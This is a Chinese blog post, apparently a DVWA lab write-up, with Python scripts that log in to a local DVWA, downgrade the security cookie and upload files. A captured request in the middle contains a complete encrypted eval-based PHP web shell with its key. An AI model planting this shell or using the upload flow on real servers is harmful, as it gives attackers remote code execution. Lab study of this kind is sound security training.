Dvwa文件上传python脚本
参考资料
python模拟文件上传(multipart/form-data形式)
从Python脚本使用POST发送文件
核心代码-写在前面
headers={'Host':'127.0.0.1',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Connection':'keep-alive',
'Upgrade-Insecure-Requests':'1',
'Cookie':a[0],
'Referer':'http://localhost/DVWA/vulnerabilities/upload/'
}
files={
'MAX_FILE_SIZE':(None,'100000'),
'uploaded':('http_ninaimgcnjpeg.jpg',open('d:/http_ninaimgcnjpeg.jpg','rb'),'image/jpeg'),
'Upload':(None,'Upload'),
'user_token': (None,a[1])
}
print(files)
url="http://localhost/DVWA/vulnerabilities/upload/"
#res=requests.post(url,files=files,headers=headers)
r=requests.post(url,files=files,headers=headers)
print(r.text)
登录
import requests
import urllib
import re
import time
import threading
from bs4 import BeautifulSoup
def get_cookie_token(url_start):
headers={'Host':'127.0.0.1',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Connection':'keep-alive',
'Upgrade-Insecure-Requests':'1'}
res=requests.get(url_start,headers=headers)
cookies=res.cookies
print(type(cookies))
html=res.text
soup=BeautifulSoup(html,"html.parser")
s=soup.find('input',type='hidden').get('value')
#token=soup.form.contents[3]['value']
#token=soup.form.input.input.intput.input["value"]
#token=soup.find_all('input')[3]['value']#找input列第四个
print(cookies.items())
#通过下面这行代码修改cookies里面提交的security等级
cook=cookies.items()
cook[1]=('security','low')
a=[(';'.join(['='.join(item)for item in cook]))]
print(a)
a.append(s)
#s=re.findall('<input type=\'hidden\'name=\'user_token\' value=\'(.*?)\'',html)
return a;
def Sign_in(url_start):
headers={
'Referer':'http://localhost/DVWA/login.php',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Connection':'keep-alive',
'Content-Length':'88',
'Content-Type':'application/x-www-form-urlencoded',
'Upgrade-Insecure-Requests':'1',
'Cookie':a[0]}
values={
'username':'admin',
'password':'password',
'Login':'Login',
'user_token':a[1]
}
datas=urllib.urlencode(values)
response=requests.post(url_start,data=datas,headers=headers)
查看截获的数据包
下面是完整的burpsuite截断的请求数据包:
第一个是一个图片文件:
POST /DVWA/vulnerabilities/upload/ HTTP/1.1
Host: localhost
Content-Length: 45384
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycN6RcTS2dinYCv0J
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/DVWA/vulnerabilities/upload/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: security=impossible; security=low; PHPSESSID=0qsc7bqrplkvoajud13qpemjk7
Connection: close
------WebKitFormBoundarycN6RcTS2dinYCv0J
Content-Disposition: form-data; name="MAX_FILE_SIZE"
100000
------WebKitFormBoundarycN6RcTS2dinYCv0J
Content-Disposition: form-data; name="uploaded"; filename="芳.jpg"
Content-Type: image/jpeg
����
��/����r�6�心)�i/T:�#��+{\���#QjA�b��]-j��JV��1�B�kH��BFw" ࡀ�z+���(��Ir��B���R�Q� �@�Hq# or����$�m������k������ ;#q;��*������4��; ��ֽ��&��dF��
------WebKitFormBoundarycN6RcTS2dinYCv0J
Content-Disposition: form-data; name="Upload"
Upload
------WebKitFormBoundarycN6RcTS2dinYCv0J
Content-Disposition: form-data; name="user_token"
aff471e85b7e6106d8a7dcb44cb5c97f
------WebKitFormBoundarycN6RcTS2dinYCv0J--
对比性地上传一个木马文件:
POST /DVWA/vulnerabilities/upload/ HTTP/1.1
Host: localhost
Content-Length: 1154
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryRDv1akW6LuJG9bD9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/DVWA/vulnerabilities/upload/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: security=impossible; security=low; PHPSESSID=0qsc7bqrplkvoajud13qpemjk7
Connection: close
------WebKitFormBoundaryRDv1akW6LuJG9bD9
Content-Disposition: form-data; name="MAX_FILE_SIZE"
100000
------WebKitFormBoundaryRDv1akW6LuJG9bD9
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: application/octet-stream
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>
------WebKitFormBoundaryRDv1akW6LuJG9bD9
Content-Disposition: form-data; name="Upload"
Upload
------WebKitFormBoundaryRDv1akW6LuJG9bD9
Content-Disposition: form-data; name="user_token"
9e3a4c89f1560a8cf077c42a4cf974f8
------WebKitFormBoundaryRDv1akW6LuJG9bD9--
根据博客文章,模仿写一个脚本
文件打开位置存在错误,还没有正确运行,欢迎评论指正。
shell.php
E:/securitytools/Behinder_v3.0_Beta_6_win/server/shell.php
上传没有提示错误,但实际上查看文件并没有上传成功。
import requests
import urllib
import re
import time
import threading
from bs4 import BeautifulSoup
def get_cookie_token(url_start):
headers={'Host':'127.0.0.1',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Connection':'keep-alive',
'Upgrade-Insecure-Requests':'1'}
res=requests.get(url_start,headers=headers)
cookies=res.cookies
print(type(cookies))
html=res.text
soup=BeautifulSoup(html,"html.parser")
s=soup.find('input',type='hidden').get('value')
#token=soup.form.contents[3]['value']
#token=soup.form.input.input.intput.input["value"]
#token=soup.find_all('input')[3]['value']#找input列第四个
print(cookies.items())
#通过下面这行代码修改cookies里面提交的security等级
cook=cookies.items()
cook[1]=('security','low')
a=[(';'.join(['='.join(item)for item in cook]))]
print(a)
a.append(s)
#s=re.findall('<input type=\'hidden\'name=\'user_token\' value=\'(.*?)\'',html)
return a;
def Sign_in(url_start):
headers={
'Referer':'http://localhost/DVWA/login.php',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Connection':'keep-alive',
'Content-Length':'88',
'Content-Type':'application/x-www-form-urlencoded',
'Upgrade-Insecure-Requests':'1',
'Cookie':a[0]}
values={
'username':'admin',
'password':'password',
'Login':'Login',
'user_token':a[1]
}
datas=urllib.urlencode(values)
response=requests.post(url_start,data=datas,headers=headers)
def file_upload():
url="http://localhost/DVWA/login.php"
a=get_cookie_token(url)
Sign_in(url)
files={
'MAX_FILE_SIZE':(None,'100000'),
'uploaded':('http_ninaimgcnjpeg.jpg',open('C:/Users/Lenovo/Pictures/Saved Pictures/http_ninaimgcnjpeg.jpg','rb'),'image/jpeg'),
'Upload':(None,'Upload'),
'user_token':(None,a[1])
}
headers={
'Referer':'http://localhost/DVWA/vulnerabilities/upload/',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Connection':'keep-alive',
'Content-Length':'88',
'Content-Type':'application/x-www-form-urlencoded',
'Upgrade-Insecure-Requests':'1',
'Cookie':a[0]}
url="http://localhost/DVWA/vulnerabilities/upload/"
res=requests.post(url,files=files,headers=headers)
print(res.text)
if __name__ == '__main__':
url="http://localhost/DVWA/login.php"
a=get_cookie_token(url)
Sign_in(url)
cookies=a[0]
user_token=a[1]
file_upload()
已实现
开心(^-^
)
上述错误,有的是因为路径无法读取,所以将图片移植到一个不带空格的,没有汉字的,d盘根目录下。
IOError: [Errno 22] invalid mode (‘rb’) or filename: ’\u202a’ / '\xe2\x80\xaa’
关于python在Windows中直接复制文件路径字符串中有’\xe2\x80\xaa’,导致文件读取失败
修改了部分代码表述,因为无法访问到upload界面,重新找到了之前成功登陆的brute force的代码,移植了过来。
核心代码不变
files=
{
}
r=requests.post(url,files=files,headers=headers)
import requests
import urllib
import re
import time
import threading
from bs4 import BeautifulSoup
def get_cookie_token(url_start):
headers={'Host':'127.0.0.1',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Connection':'keep-alive',
'Upgrade-Insecure-Requests':'1'}
res=requests.get(url_start,headers=headers)
cookies=res.cookies
print(type(cookies))
html=res.text
soup=BeautifulSoup(html,"html.parser")
s=soup.find('input',type='hidden').get('value')
#token=soup.form.contents[3]['value']
cook=cookies.items()
cook[1]=('security','medium')
a=[(';'.join(['='.join(item)for item in cook]))]
a.append(s)
#s=re.findall('<input type=\'hidden\'name=\'user_token\' value=\'(.*?)\'',html)
return a;
def Sign_in(url_start):
headers={
'Referer':'http://localhost/DVWA/login.php',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Connection':'keep-alive',
'Content-Length':'88',
'Content-Type':'application/x-www-form-urlencoded',
'Upgrade-Insecure-Requests':'1',
'Cookie':a[0]}
values={
'username':'admin',
'password':'password',
'Login':'Login',
'user_token':a[1]
}
datas=urllib.urlencode(values)
response=requests.post(url_start,data=datas,headers=headers)
if __name__ == '__main__':
url="http://localhost/DVWA/login.php"
a=get_cookie_token(url)
Sign_in(url)
headers={'Host':'127.0.0.1',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Connection':'keep-alive',
'Upgrade-Insecure-Requests':'1',
'Cookie':a[0],
'Referer':'http://localhost/DVWA/vulnerabilities/upload/'
}
files={
'MAX_FILE_SIZE':(None,'100000'),
'uploaded':('http_ninaimgcnjpeg.jpg',open('d:/http_ninaimgcnjpeg.jpg','rb'),'image/jpeg'),
'Upload':(None,'Upload'),
'user_token': (None,a[1])
}
print(files)
url="http://localhost/DVWA/vulnerabilities/upload/"
r=requests.post(url,files=files,headers=headers)
print(r.text)